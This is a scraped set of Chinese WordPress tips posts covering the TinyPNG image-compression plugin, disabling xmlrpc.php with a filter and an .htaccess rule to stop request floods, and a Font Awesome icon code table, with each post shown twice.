现在,在 WordPress 上,我们也可以使用 TinyPNG 出的插件:Compress JPEG & PNG images。在 WP 后台插件-安装插件 那里关键词输入”TinyPNG”,即可找到这款插件:
激活,然后去设置:
一般只要勾选 Original image 即可,这样在你上传图片的时候会自动进行压缩。
初次使用的时候要注册一下,获取 TinyPNG API Key。注意,不支持 qq邮箱。
激活之后,每个月你可以免费压缩高达 500 张 JPG/PNG 格式的图片。一般外贸建站每个月上传顶多十几张图片吧,所以这基本就是免费的。
对于之前已经上传到网站上的图片,它也可以进行批量压缩(bulk optimization)。
推荐理由:没发现更好的
之前也用过其他的图片压缩插件,如:
WP Smush Image Compression:此插件能压缩图片,减小图片大小,但图片质量清晰度也下降明显。
EWWW Image Optimizer:此插件是需要付费购买 API 才能用,而且需要服务器开启 exec() 函数。用起来感觉设置挺多,但是正因为设置非常多,感觉挺晕的。 查看全部
在图片优化上,TinyPNG 可谓名声赫赫。https://tinypng.com/
往常我们习惯于点击 TinyPNG 网站上的上传按钮,然后按 Ctrl 键选择多张图片上传压缩。TinyPNG 的压缩效率非常高,曾经有张 380K 的 PNG 图片压缩到了 60K,而且图片清晰度并没有明显的降低,可谓超强!
TinyPNG 对于一些深度 PhotoShop 用户也是福音,它的 PhotoShop Plugin 用起来也是相当方便的。价格50刀,永久使用,性价比无敌。
现在,在 WordPress 上,我们也可以使用 TinyPNG 出的插件:Compress JPEG & PNG images。在 WP 后台插件-安装插件 那里关键词输入”TinyPNG”,即可找到这款插件:
激活,然后去设置:
一般只要勾选 Original image 即可,这样在你上传图片的时候会自动进行压缩。
初次使用的时候要注册一下,获取 TinyPNG API Key。注意,不支持 qq邮箱。
激活之后,每个月你可以免费压缩高达 500 张 JPG/PNG 格式的图片。一般外贸建站每个月上传顶多十几张图片吧,所以这基本就是免费的。
对于之前已经上传到网站上的图片,它也可以进行批量压缩(bulk optimization)。
推荐理由:没发现更好的
之前也用过其他的图片压缩插件,如:
WP Smush Image Compression:此插件能压缩图片,减小图片大小,但图片质量清晰度也下降明显。
EWWW Image Optimizer:此插件是需要付费购买 API 才能用,而且需要服务器开启 exec() 函数。用起来感觉设置挺多,但是正因为设置非常多,感觉挺晕的。
wordpress网站被恶意攻击(大量访问xmlrpc.php)解决方法
WordPress • Leo 发表了文章 • 1 个评论 • 479 次浏览 • 2018-03-26 11:52
攻击原理
wordpress网站xmlrpc.php文件是一个远程端口文件,攻击者通过POST提交恶意大量的提交,不断的访问xmlrpc.php文件,形成DDOS攻击,致使网站服务器CPU过高停机,网站无法打开。
解决方法
解决wordpress网站xmlrpc.php文件被恶意攻击,最好的方法就是关闭掉自己网站xmlrpc.php文件。
方法如下:
第一步:在自己网站使用的wordpress模板中找到模板函数文件functions.php,当下面的代码粘贴进去。
add_filter('xmlrpc_enabled', '__return_false');
第二步:再通过.htaccess屏蔽xmlrpc.php文件的访问,这个文件是放在网站空间的根目录下。
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>
通过以上二步的操作,就可以解决wordpress网站xmlrpc.php文件被恶意攻击的问题。在此建议使用wordpress程序建网站的朋友全部关闭掉xmlrpc.php文件,不要等到网站被恶意攻击了才去关闭。 查看全部
攻击原理
wordpress网站xmlrpc.php文件是一个远程端口文件,攻击者通过POST提交恶意大量的提交,不断的访问xmlrpc.php文件,形成DDOS攻击,致使网站服务器CPU过高停机,网站无法打开。
解决方法
解决wordpress网站xmlrpc.php文件被恶意攻击,最好的方法就是关闭掉自己网站xmlrpc.php文件。
方法如下:
第一步:在自己网站使用的wordpress模板中找到模板函数文件functions.php,当下面的代码粘贴进去。
add_filter('xmlrpc_enabled', '__return_false');
第二步:再通过.htaccess屏蔽xmlrpc.php文件的访问,这个文件是放在网站空间的根目录下。
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>
通过以上二步的操作,就可以解决wordpress网站xmlrpc.php文件被恶意攻击的问题。在此建议使用wordpress程序建网站的朋友全部关闭掉xmlrpc.php文件,不要等到网站被恶意攻击了才去关闭。
网页使用Font Awesome图标字体时,css定义 content 属性必不可少,如下所示:
WordPress • Leo 发表了文章 • 1 个评论 • 961 次浏览 • 2018-03-09 09:29
NAME CODE NAME CODE
.fa-glass \f000 .fa-github-alt \f113
.fa-music \f001 .fa-folder-o \f114
.fa-search \f002 .fa-folder-open-o \f115
.fa-envelope-o \f003 .fa-smile-o \f118
.fa-heart \f004 .fa-frown-o \f119
.fa-star \f005 .fa-meh-o \f11a
.fa-star-o \f006 .fa-gamepad \f11b
.fa-user \f007 .fa-keyboard-o \f11c
.fa-film \f008 .fa-flag-o \f11d
.fa-th-large \f009 .fa-flag-checkered \f11e
.fa-th \f00a .fa-terminal \f120
.fa-th-list \f00b .fa-code \f121
.fa-check \f00c .fa-mail-reply-all \f122
.fa-remove \f00d .fa-reply-all \f122
.fa-close \f00d .fa-star-half-empty \f123
.fa-times \f00d .fa-star-half-full \f123
.fa-search-plus \f00e .fa-star-half-o \f123
.fa-search-minus \f010 .fa-location-arrow \f124
.fa-power-off \f011 .fa-crop \f125
.fa-signal \f012 .fa-code-fork \f126
.fa-gear \f013 .fa-unlink \f127
.fa-cog \f013 .fa-chain-broken \f127
.fa-trash-o \f014 .fa-question \f128
.fa-home \f015 .fa-info \f129
.fa-file-o \f016 .fa-exclamation \f12a
.fa-clock-o \f017 .fa-superscript \f12b
.fa-road \f018 .fa-subscript \f12c
.fa-download \f019 .fa-eraser \f12d
.fa-arrow-circle-o-down \f01a .fa-puzzle-piece \f12e
.fa-arrow-circle-o-up \f01b .fa-microphone \f130
.fa-inbox \f01c .fa-microphone-slash \f131
.fa-play-circle-o \f01d .fa-shield \f132
.fa-rotate-right \f01e .fa-calendar-o \f133
.fa-repeat \f01e .fa-fire-extinguisher \f134
.fa-refresh \f021 .fa-rocket \f135
.fa-list-alt \f022 .fa-maxcdn \f136
.fa-lock \f023 .fa-chevron-circle-left \f137
.fa-flag \f024 .fa-chevron-circle-right \f138
.fa-headphones \f025 .fa-chevron-circle-up \f139
.fa-volume-off \f026 .fa-chevron-circle-down \f13a
.fa-volume-down \f027 .fa-html5 \f13b
.fa-volume-up \f028 .fa-css3 \f13c
.fa-qrcode \f029 .fa-anchor \f13d
.fa-barcode \f02a .fa-unlock-alt \f13e
.fa-tag \f02b .fa-bullseye \f140
.fa-tags \f02c .fa-ellipsis-h \f141
.fa-book \f02d .fa-ellipsis-v \f142
.fa-bookmark \f02e .fa-rss-square \f143
.fa-print \f02f .fa-play-circle \f144
.fa-camera \f030 .fa-ticket \f145
.fa-font \f031 .fa-minus-square \f146
.fa-bold \f032 .fa-minus-square-o \f147
.fa-italic \f033 .fa-level-up \f148
.fa-text-height \f034 .fa-level-down \f149
.fa-text-width \f035 .fa-check-square \f14a
.fa-align-left \f036 .fa-pencil-square \f14b
.fa-align-center \f037 .fa-external-link-square \f14c
.fa-align-right \f038 .fa-share-square \f14d
.fa-align-justify \f039 .fa-compass \f14e
.fa-list \f03a .fa-toggle-down \f150
.fa-dedent \f03b .fa-caret-square-o-down \f150
.fa-outdent \f03b .fa-toggle-up \f151
.fa-indent \f03c .fa-caret-square-o-up \f151
.fa-video-camera \f03d .fa-toggle-right \f152
.fa-photo \f03e .fa-caret-square-o-right \f152
.fa-image \f03e .fa-euro \f153
.fa-picture-o \f03e .fa-eur \f153
.fa-pencil \f040 .fa-gbp \f154
.fa-map-marker \f041 .fa-dollar \f155
.fa-adjust \f042 .fa-usd \f155
.fa-tint \f043 .fa-rupee \f156
.fa-edit \f044 .fa-inr \f156
.fa-pencil-square-o \f044 .fa-cny \f157
.fa-share-square-o \f045 .fa-rmb \f157
.fa-check-square-o \f046 .fa-yen \f157
.fa-arrows \f047 .fa-jpy \f157
.fa-step-backward \f048 .fa-ruble \f158
.fa-fast-backward \f049 .fa-rouble \f158
.fa-backward \f04a .fa-rub \f158
.fa-play \f04b .fa-won \f159
.fa-pause \f04c .fa-krw \f159
.fa-stop \f04d .fa-bitcoin \f15a
.fa-forward \f04e .fa-btc \f15a
.fa-fast-forward \f050 .fa-file \f15b
.fa-step-forward \f051 .fa-file-text \f15c
.fa-eject \f052 .fa-sort-alpha-asc \f15d
.fa-chevron-left \f053 .fa-sort-alpha-desc \f15e
.fa-chevron-right \f054 .fa-sort-amount-asc \f160
.fa-plus-circle \f055 .fa-sort-amount-desc \f161
.fa-minus-circle \f056 .fa-sort-numeric-asc \f162
.fa-times-circle \f057 .fa-sort-numeric-desc \f163
.fa-check-circle \f058 .fa-thumbs-up \f164
.fa-question-circle \f059 .fa-thumbs-down \f165
.fa-info-circle \f05a .fa-youtube-square \f166
.fa-crosshairs \f05b .fa-youtube \f167
.fa-times-circle-o \f05c .fa-xing \f168
.fa-check-circle-o \f05d .fa-xing-square \f169
.fa-ban \f05e .fa-youtube-play \f16a
.fa-arrow-left \f060 .fa-dropbox \f16b
.fa-arrow-right \f061 .fa-stack-overflow \f16c
.fa-arrow-up \f062 .fa-instagram \f16d
.fa-arrow-down \f063 .fa-flickr \f16e
.fa-mail-forward \f064 .fa-adn \f170
.fa-share \f064 .fa-bitbucket \f171
.fa-expand \f065 .fa-bitbucket-square \f172
.fa-compress \f066 .fa-tumblr \f173
.fa-plus \f067 .fa-tumblr-square \f174
.fa-minus \f068 .fa-long-arrow-down \f175
.fa-asterisk \f069 .fa-long-arrow-up \f176
.fa-exclamation-circle \f06a .fa-long-arrow-left \f177
.fa-gift \f06b .fa-long-arrow-right \f178
.fa-leaf \f06c .fa-apple \f179
.fa-fire \f06d .fa-windows \f17a
.fa-eye \f06e .fa-android \f17b
.fa-eye-slash \f070 .fa-linux \f17c
.fa-warning \f071 .fa-dribbble \f17d
.fa-exclamation-triangle \f071 .fa-skype \f17e
.fa-plane \f072 .fa-foursquare \f180
.fa-calendar \f073 .fa-trello \f181
.fa-random \f074 .fa-female \f182
.fa-comment \f075 .fa-male \f183
.fa-magnet \f076 .fa-gittip \f184
.fa-chevron-up \f077 .fa-sun-o \f185
.fa-chevron-down \f078 .fa-moon-o \f186
.fa-retweet \f079 .fa-archive \f187
.fa-shopping-cart \f07a .fa-bug \f188
.fa-folder \f07b .fa-vk \f189
.fa-folder-open \f07c .fa-weibo \f18a
.fa-arrows-v \f07d .fa-renren \f18b
.fa-arrows-h \f07e .fa-pagelines \f18c
.fa-bar-chart-o \f080 .fa-stack-exchange \f18d
.fa-bar-chart \f080 .fa-arrow-circle-o-right \f18e
.fa-twitter-square \f081 .fa-arrow-circle-o-left \f190
.fa-facebook-square \f082 .fa-toggle-left \f191
.fa-camera-retro \f083 .fa-caret-square-o-left \f191
.fa-key \f084 .fa-dot-circle-o \f192
.fa-gears \f085 .fa-wheelchair \f193
.fa-cogs \f085 .fa-vimeo-square \f194
.fa-comments \f086 .fa-turkish-lira \f195
.fa-thumbs-o-up \f087 .fa-try \f195
.fa-thumbs-o-down \f088 .fa-plus-square-o \f196
.fa-star-half \f089 .fa-space-shuttle \f197
.fa-heart-o \f08a .fa-slack \f198
.fa-sign-out \f08b .fa-envelope-square \f199
.fa-linkedin-square \f08c .fa-wordpress \f19a
.fa-thumb-tack \f08d .fa-openid \f19b
.fa-external-link \f08e .fa-institution \f19c
.fa-sign-in \f090 .fa-bank \f19c
.fa-trophy \f091 .fa-university \f19c
.fa-github-square \f092 .fa-mortar-board \f19d
.fa-upload \f093 .fa-graduation-cap \f19d
.fa-lemon-o \f094 .fa-yahoo \f19e
.fa-phone \f095 .fa-google \f1a0
.fa-square-o \f096 .fa-reddit \f1a1
.fa-bookmark-o \f097 .fa-reddit-square \f1a2
.fa-phone-square \f098 .fa-stumbleupon-circle \f1a3
.fa-twitter \f099 .fa-stumbleupon \f1a4
.fa-facebook \f09a .fa-delicious \f1a5
.fa-github \f09b .fa-digg \f1a6
.fa-unlock \f09c .fa-pied-piper \f1a7
.fa-credit-card \f09d .fa-pied-piper-alt \f1a8
.fa-rss \f09e .fa-drupal \f1a9
.fa-hdd-o \f0a0 .fa-joomla \f1aa
.fa-bullhorn \f0a1 .fa-language \f1ab
.fa-bell \f0f3 .fa-fax \f1ac
.fa-certificate \f0a3 .fa-building \f1ad
.fa-hand-o-right \f0a4 .fa-child \f1ae
.fa-hand-o-left \f0a5 .fa-paw \f1b0
.fa-hand-o-up \f0a6 .fa-spoon \f1b1
.fa-hand-o-down \f0a7 .fa-cube \f1b2
.fa-arrow-circle-left \f0a8 .fa-cubes \f1b3
.fa-arrow-circle-right \f0a9 .fa-behance \f1b4
.fa-arrow-circle-up \f0aa .fa-behance-square \f1b5
.fa-arrow-circle-down \f0ab .fa-steam \f1b6
.fa-globe \f0ac .fa-steam-square \f1b7
.fa-wrench \f0ad .fa-recycle \f1b8
.fa-tasks \f0ae .fa-automobile \f1b9
.fa-filter \f0b0 .fa-car \f1b9
.fa-briefcase \f0b1 .fa-cab \f1ba
.fa-arrows-alt \f0b2 .fa-taxi \f1ba
.fa-group \f0c0 .fa-tree \f1bb
.fa-users \f0c0 .fa-spotify \f1bc
.fa-chain \f0c1 .fa-deviantart \f1bd
.fa-link \f0c1 .fa-soundcloud \f1be
.fa-cloud \f0c2 .fa-database \f1c0
.fa-flask \f0c3 .fa-file-pdf-o \f1c1
.fa-cut \f0c4 .fa-file-word-o \f1c2
.fa-scissors \f0c4 .fa-file-excel-o \f1c3
.fa-copy \f0c5 .fa-file-powerpoint-o \f1c4
.fa-files-o \f0c5 .fa-file-photo-o \f1c5
.fa-paperclip \f0c6 .fa-file-picture-o \f1c5
.fa-save \f0c7 .fa-file-image-o \f1c5
.fa-floppy-o \f0c7 .fa-file-zip-o \f1c6
.fa-square \f0c8 .fa-file-archive-o \f1c6
.fa-navicon \f0c9 .fa-file-sound-o \f1c7
.fa-reorder \f0c9 .fa-file-audio-o \f1c7
.fa-bars \f0c9 .fa-file-movie-o \f1c8
.fa-list-ul \f0ca .fa-file-video-o \f1c8
.fa-list-ol \f0cb .fa-file-code-o \f1c9
.fa-strikethrough \f0cc .fa-vine \f1ca
.fa-underline \f0cd .fa-codepen \f1cb
.fa-table \f0ce .fa-jsfiddle \f1cc
.fa-magic \f0d0 .fa-life-bouy \f1cd
.fa-truck \f0d1 .fa-life-buoy \f1cd
.fa-pinterest \f0d2 .fa-life-saver \f1cd
.fa-pinterest-square \f0d3 .fa-support \f1cd
.fa-google-plus-square \f0d4 .fa-life-ring \f1cd
.fa-google-plus \f0d5 .fa-circle-o-notch \f1ce
.fa-money \f0d6 .fa-ra \f1d0
.fa-caret-down \f0d7 .fa-rebel \f1d0
.fa-caret-up \f0d8 .fa-ge \f1d1
.fa-caret-left \f0d9 .fa-empire \f1d1
.fa-caret-right \f0da .fa-git-square \f1d2
.fa-columns \f0db .fa-git \f1d3
.fa-unsorted \f0dc .fa-hacker-news \f1d4
.fa-sort \f0dc .fa-tencent-weibo \f1d5
.fa-sort-down \f0dd .fa-qq \f1d6
.fa-sort-desc \f0dd .fa-wechat \f1d7
.fa-sort-up \f0de .fa-weixin \f1d7
.fa-sort-asc \f0de .fa-send \f1d8
.fa-envelope \f0e0 .fa-paper-plane \f1d8
.fa-linkedin \f0e1 .fa-send-o \f1d9
.fa-rotate-left \f0e2 .fa-paper-plane-o \f1d9
.fa-undo \f0e2 .fa-history \f1da
.fa-legal \f0e3 .fa-circle-thin \f1db
.fa-gavel \f0e3 .fa-header \f1dc
.fa-dashboard \f0e4 .fa-paragraph \f1dd
.fa-tachometer \f0e4 .fa-sliders \f1de
.fa-comment-o \f0e5 .fa-share-alt \f1e0
.fa-comments-o \f0e6 .fa-share-alt-square \f1e1
.fa-flash \f0e7 .fa-bomb \f1e2
.fa-bolt \f0e7 .fa-soccer-ball-o \f1e3
.fa-sitemap \f0e8 .fa-futbol-o \f1e3
.fa-umbrella \f0e9 .fa-tty \f1e4
.fa-paste \f0ea .fa-binoculars \f1e5
.fa-clipboard \f0ea .fa-plug \f1e6
.fa-lightbulb-o \f0eb .fa-slideshare \f1e7
.fa-exchange \f0ec .fa-twitch \f1e8
.fa-cloud-download \f0ed .fa-yelp \f1e9
.fa-cloud-upload \f0ee .fa-newspaper-o \f1ea
.fa-user-md \f0f0 .fa-wifi \f1eb
.fa-stethoscope \f0f1 .fa-calculator \f1ec
.fa-suitcase \f0f2 .fa-paypal \f1ed
.fa-bell-o \f0a2 .fa-google-wallet \f1ee
.fa-coffee \f0f4 .fa-cc-visa \f1f0
.fa-cutlery \f0f5 .fa-cc-mastercard \f1f1
.fa-file-text-o \f0f6 .fa-cc-discover \f1f2
.fa-building-o \f0f7 .fa-cc-amex \f1f3
.fa-hospital-o \f0f8 .fa-cc-paypal \f1f4
.fa-ambulance \f0f9 .fa-cc-stripe \f1f5
.fa-medkit \f0fa .fa-bell-slash \f1f6
.fa-fighter-jet \f0fb .fa-bell-slash-o \f1f7
.fa-beer \f0fc .fa-trash \f1f8
.fa-h-square \f0fd .fa-copyright \f1f9
.fa-plus-square \f0fe .fa-at \f1fa
.fa-angle-double-left \f100 .fa-eyedropper \f1fb
.fa-angle-double-right \f101 .fa-paint-brush \f1fc
.fa-angle-double-up \f102 .fa-birthday-cake \f1fd
.fa-angle-double-down \f103 .fa-area-chart \f1fe
.fa-angle-left \f104 .fa-pie-chart \f200
.fa-angle-right \f105 .fa-line-chart \f201
.fa-angle-up \f106 .fa-lastfm \f202
.fa-angle-down \f107 .fa-lastfm-square \f203
.fa-desktop \f108 .fa-toggle-off \f204
.fa-laptop \f109 .fa-toggle-on \f205
.fa-tablet \f10a .fa-bicycle \f206
.fa-mobile-phone \f10b .fa-bus \f207
.fa-mobile \f10b .fa-ioxhost \f208
.fa-circle-o \f10c .fa-angellist \f209
.fa-quote-left \f10d .fa-cc \f20a
.fa-quote-right \f10e .fa-shekel \f20b
.fa-spinner \f110 .fa-sheqel \f20b
.fa-circle \f111 .fa-ils \f20b
.fa-mail-reply \f112 .fa-meanpath \f20c
.fa-reply \f112
(.fa-mail-reply \f112 .fa-meanpath \f20c 注意这样区分,一行是俩个图标) 查看全部
NAME CODE NAME CODE
.fa-glass \f000 .fa-github-alt \f113
.fa-music \f001 .fa-folder-o \f114
.fa-search \f002 .fa-folder-open-o \f115
.fa-envelope-o \f003 .fa-smile-o \f118
.fa-heart \f004 .fa-frown-o \f119
.fa-star \f005 .fa-meh-o \f11a
.fa-star-o \f006 .fa-gamepad \f11b
.fa-user \f007 .fa-keyboard-o \f11c
.fa-film \f008 .fa-flag-o \f11d
.fa-th-large \f009 .fa-flag-checkered \f11e
.fa-th \f00a .fa-terminal \f120
.fa-th-list \f00b .fa-code \f121
.fa-check \f00c .fa-mail-reply-all \f122
.fa-remove \f00d .fa-reply-all \f122
.fa-close \f00d .fa-star-half-empty \f123
.fa-times \f00d .fa-star-half-full \f123
.fa-search-plus \f00e .fa-star-half-o \f123
.fa-search-minus \f010 .fa-location-arrow \f124
.fa-power-off \f011 .fa-crop \f125
.fa-signal \f012 .fa-code-fork \f126
.fa-gear \f013 .fa-unlink \f127
.fa-cog \f013 .fa-chain-broken \f127
.fa-trash-o \f014 .fa-question \f128
.fa-home \f015 .fa-info \f129
.fa-file-o \f016 .fa-exclamation \f12a
.fa-clock-o \f017 .fa-superscript \f12b
.fa-road \f018 .fa-subscript \f12c
.fa-download \f019 .fa-eraser \f12d
.fa-arrow-circle-o-down \f01a .fa-puzzle-piece \f12e
.fa-arrow-circle-o-up \f01b .fa-microphone \f130
.fa-inbox \f01c .fa-microphone-slash \f131
.fa-play-circle-o \f01d .fa-shield \f132
.fa-rotate-right \f01e .fa-calendar-o \f133
.fa-repeat \f01e .fa-fire-extinguisher \f134
.fa-refresh \f021 .fa-rocket \f135
.fa-list-alt \f022 .fa-maxcdn \f136
.fa-lock \f023 .fa-chevron-circle-left \f137
.fa-flag \f024 .fa-chevron-circle-right \f138
.fa-headphones \f025 .fa-chevron-circle-up \f139
.fa-volume-off \f026 .fa-chevron-circle-down \f13a
.fa-volume-down \f027 .fa-html5 \f13b
.fa-volume-up \f028 .fa-css3 \f13c
.fa-qrcode \f029 .fa-anchor \f13d
.fa-barcode \f02a .fa-unlock-alt \f13e
.fa-tag \f02b .fa-bullseye \f140
.fa-tags \f02c .fa-ellipsis-h \f141
.fa-book \f02d .fa-ellipsis-v \f142
.fa-bookmark \f02e .fa-rss-square \f143
.fa-print \f02f .fa-play-circle \f144
.fa-camera \f030 .fa-ticket \f145
.fa-font \f031 .fa-minus-square \f146
.fa-bold \f032 .fa-minus-square-o \f147
.fa-italic \f033 .fa-level-up \f148
.fa-text-height \f034 .fa-level-down \f149
.fa-text-width \f035 .fa-check-square \f14a
.fa-align-left \f036 .fa-pencil-square \f14b
.fa-align-center \f037 .fa-external-link-square \f14c
.fa-align-right \f038 .fa-share-square \f14d
.fa-align-justify \f039 .fa-compass \f14e
.fa-list \f03a .fa-toggle-down \f150
.fa-dedent \f03b .fa-caret-square-o-down \f150
.fa-outdent \f03b .fa-toggle-up \f151
.fa-indent \f03c .fa-caret-square-o-up \f151
.fa-video-camera \f03d .fa-toggle-right \f152
.fa-photo \f03e .fa-caret-square-o-right \f152
.fa-image \f03e .fa-euro \f153
.fa-picture-o \f03e .fa-eur \f153
.fa-pencil \f040 .fa-gbp \f154
.fa-map-marker \f041 .fa-dollar \f155
.fa-adjust \f042 .fa-usd \f155
.fa-tint \f043 .fa-rupee \f156
.fa-edit \f044 .fa-inr \f156
.fa-pencil-square-o \f044 .fa-cny \f157
.fa-share-square-o \f045 .fa-rmb \f157
.fa-check-square-o \f046 .fa-yen \f157
.fa-arrows \f047 .fa-jpy \f157
.fa-step-backward \f048 .fa-ruble \f158
.fa-fast-backward \f049 .fa-rouble \f158
.fa-backward \f04a .fa-rub \f158
.fa-play \f04b .fa-won \f159
.fa-pause \f04c .fa-krw \f159
.fa-stop \f04d .fa-bitcoin \f15a
.fa-forward \f04e .fa-btc \f15a
.fa-fast-forward \f050 .fa-file \f15b
.fa-step-forward \f051 .fa-file-text \f15c
.fa-eject \f052 .fa-sort-alpha-asc \f15d
.fa-chevron-left \f053 .fa-sort-alpha-desc \f15e
.fa-chevron-right \f054 .fa-sort-amount-asc \f160
.fa-plus-circle \f055 .fa-sort-amount-desc \f161
.fa-minus-circle \f056 .fa-sort-numeric-asc \f162
.fa-times-circle \f057 .fa-sort-numeric-desc \f163
.fa-check-circle \f058 .fa-thumbs-up \f164
.fa-question-circle \f059 .fa-thumbs-down \f165
.fa-info-circle \f05a .fa-youtube-square \f166
.fa-crosshairs \f05b .fa-youtube \f167
.fa-times-circle-o \f05c .fa-xing \f168
.fa-check-circle-o \f05d .fa-xing-square \f169
.fa-ban \f05e .fa-youtube-play \f16a
.fa-arrow-left \f060 .fa-dropbox \f16b
.fa-arrow-right \f061 .fa-stack-overflow \f16c
.fa-arrow-up \f062 .fa-instagram \f16d
.fa-arrow-down \f063 .fa-flickr \f16e
.fa-mail-forward \f064 .fa-adn \f170
.fa-share \f064 .fa-bitbucket \f171
.fa-expand \f065 .fa-bitbucket-square \f172
.fa-compress \f066 .fa-tumblr \f173
.fa-plus \f067 .fa-tumblr-square \f174
.fa-minus \f068 .fa-long-arrow-down \f175
.fa-asterisk \f069 .fa-long-arrow-up \f176
.fa-exclamation-circle \f06a .fa-long-arrow-left \f177
.fa-gift \f06b .fa-long-arrow-right \f178
.fa-leaf \f06c .fa-apple \f179
.fa-fire \f06d .fa-windows \f17a
.fa-eye \f06e .fa-android \f17b
.fa-eye-slash \f070 .fa-linux \f17c
.fa-warning \f071 .fa-dribbble \f17d
.fa-exclamation-triangle \f071 .fa-skype \f17e
.fa-plane \f072 .fa-foursquare \f180
.fa-calendar \f073 .fa-trello \f181
.fa-random \f074 .fa-female \f182
.fa-comment \f075 .fa-male \f183
.fa-magnet \f076 .fa-gittip \f184
.fa-chevron-up \f077 .fa-sun-o \f185
.fa-chevron-down \f078 .fa-moon-o \f186
.fa-retweet \f079 .fa-archive \f187
.fa-shopping-cart \f07a .fa-bug \f188
.fa-folder \f07b .fa-vk \f189
.fa-folder-open \f07c .fa-weibo \f18a
.fa-arrows-v \f07d .fa-renren \f18b
.fa-arrows-h \f07e .fa-pagelines \f18c
.fa-bar-chart-o \f080 .fa-stack-exchange \f18d
.fa-bar-chart \f080 .fa-arrow-circle-o-right \f18e
.fa-twitter-square \f081 .fa-arrow-circle-o-left \f190
.fa-facebook-square \f082 .fa-toggle-left \f191
.fa-camera-retro \f083 .fa-caret-square-o-left \f191
.fa-key \f084 .fa-dot-circle-o \f192
.fa-gears \f085 .fa-wheelchair \f193
.fa-cogs \f085 .fa-vimeo-square \f194
.fa-comments \f086 .fa-turkish-lira \f195
.fa-thumbs-o-up \f087 .fa-try \f195
.fa-thumbs-o-down \f088 .fa-plus-square-o \f196
.fa-star-half \f089 .fa-space-shuttle \f197
.fa-heart-o \f08a .fa-slack \f198
.fa-sign-out \f08b .fa-envelope-square \f199
.fa-linkedin-square \f08c .fa-wordpress \f19a
.fa-thumb-tack \f08d .fa-openid \f19b
.fa-external-link \f08e .fa-institution \f19c
.fa-sign-in \f090 .fa-bank \f19c
.fa-trophy \f091 .fa-university \f19c
.fa-github-square \f092 .fa-mortar-board \f19d
.fa-upload \f093 .fa-graduation-cap \f19d
.fa-lemon-o \f094 .fa-yahoo \f19e
.fa-phone \f095 .fa-google \f1a0
.fa-square-o \f096 .fa-reddit \f1a1
.fa-bookmark-o \f097 .fa-reddit-square \f1a2
.fa-phone-square \f098 .fa-stumbleupon-circle \f1a3
.fa-twitter \f099 .fa-stumbleupon \f1a4
.fa-facebook \f09a .fa-delicious \f1a5
.fa-github \f09b .fa-digg \f1a6
.fa-unlock \f09c .fa-pied-piper \f1a7
.fa-credit-card \f09d .fa-pied-piper-alt \f1a8
.fa-rss \f09e .fa-drupal \f1a9
.fa-hdd-o \f0a0 .fa-joomla \f1aa
.fa-bullhorn \f0a1 .fa-language \f1ab
.fa-bell \f0f3 .fa-fax \f1ac
.fa-certificate \f0a3 .fa-building \f1ad
.fa-hand-o-right \f0a4 .fa-child \f1ae
.fa-hand-o-left \f0a5 .fa-paw \f1b0
.fa-hand-o-up \f0a6 .fa-spoon \f1b1
.fa-hand-o-down \f0a7 .fa-cube \f1b2
.fa-arrow-circle-left \f0a8 .fa-cubes \f1b3
.fa-arrow-circle-right \f0a9 .fa-behance \f1b4
.fa-arrow-circle-up \f0aa .fa-behance-square \f1b5
.fa-arrow-circle-down \f0ab .fa-steam \f1b6
.fa-globe \f0ac .fa-steam-square \f1b7
.fa-wrench \f0ad .fa-recycle \f1b8
.fa-tasks \f0ae .fa-automobile \f1b9
.fa-filter \f0b0 .fa-car \f1b9
.fa-briefcase \f0b1 .fa-cab \f1ba
.fa-arrows-alt \f0b2 .fa-taxi \f1ba
.fa-group \f0c0 .fa-tree \f1bb
.fa-users \f0c0 .fa-spotify \f1bc
.fa-chain \f0c1 .fa-deviantart \f1bd
.fa-link \f0c1 .fa-soundcloud \f1be
.fa-cloud \f0c2 .fa-database \f1c0
.fa-flask \f0c3 .fa-file-pdf-o \f1c1
.fa-cut \f0c4 .fa-file-word-o \f1c2
.fa-scissors \f0c4 .fa-file-excel-o \f1c3
.fa-copy \f0c5 .fa-file-powerpoint-o \f1c4
.fa-files-o \f0c5 .fa-file-photo-o \f1c5
.fa-paperclip \f0c6 .fa-file-picture-o \f1c5
.fa-save \f0c7 .fa-file-image-o \f1c5
.fa-floppy-o \f0c7 .fa-file-zip-o \f1c6
.fa-square \f0c8 .fa-file-archive-o \f1c6
.fa-navicon \f0c9 .fa-file-sound-o \f1c7
.fa-reorder \f0c9 .fa-file-audio-o \f1c7
.fa-bars \f0c9 .fa-file-movie-o \f1c8
.fa-list-ul \f0ca .fa-file-video-o \f1c8
.fa-list-ol \f0cb .fa-file-code-o \f1c9
.fa-strikethrough \f0cc .fa-vine \f1ca
.fa-underline \f0cd .fa-codepen \f1cb
.fa-table \f0ce .fa-jsfiddle \f1cc
.fa-magic \f0d0 .fa-life-bouy \f1cd
.fa-truck \f0d1 .fa-life-buoy \f1cd
.fa-pinterest \f0d2 .fa-life-saver \f1cd
.fa-pinterest-square \f0d3 .fa-support \f1cd
.fa-google-plus-square \f0d4 .fa-life-ring \f1cd
.fa-google-plus \f0d5 .fa-circle-o-notch \f1ce
.fa-money \f0d6 .fa-ra \f1d0
.fa-caret-down \f0d7 .fa-rebel \f1d0
.fa-caret-up \f0d8 .fa-ge \f1d1
.fa-caret-left \f0d9 .fa-empire \f1d1
.fa-caret-right \f0da .fa-git-square \f1d2
.fa-columns \f0db .fa-git \f1d3
.fa-unsorted \f0dc .fa-hacker-news \f1d4
.fa-sort \f0dc .fa-tencent-weibo \f1d5
.fa-sort-down \f0dd .fa-qq \f1d6
.fa-sort-desc \f0dd .fa-wechat \f1d7
.fa-sort-up \f0de .fa-weixin \f1d7
.fa-sort-asc \f0de .fa-send \f1d8
.fa-envelope \f0e0 .fa-paper-plane \f1d8
.fa-linkedin \f0e1 .fa-send-o \f1d9
.fa-rotate-left \f0e2 .fa-paper-plane-o \f1d9
.fa-undo \f0e2 .fa-history \f1da
.fa-legal \f0e3 .fa-circle-thin \f1db
.fa-gavel \f0e3 .fa-header \f1dc
.fa-dashboard \f0e4 .fa-paragraph \f1dd
.fa-tachometer \f0e4 .fa-sliders \f1de
.fa-comment-o \f0e5 .fa-share-alt \f1e0
.fa-comments-o \f0e6 .fa-share-alt-square \f1e1
.fa-flash \f0e7 .fa-bomb \f1e2
.fa-bolt \f0e7 .fa-soccer-ball-o \f1e3
.fa-sitemap \f0e8 .fa-futbol-o \f1e3
.fa-umbrella \f0e9 .fa-tty \f1e4
.fa-paste \f0ea .fa-binoculars \f1e5
.fa-clipboard \f0ea .fa-plug \f1e6
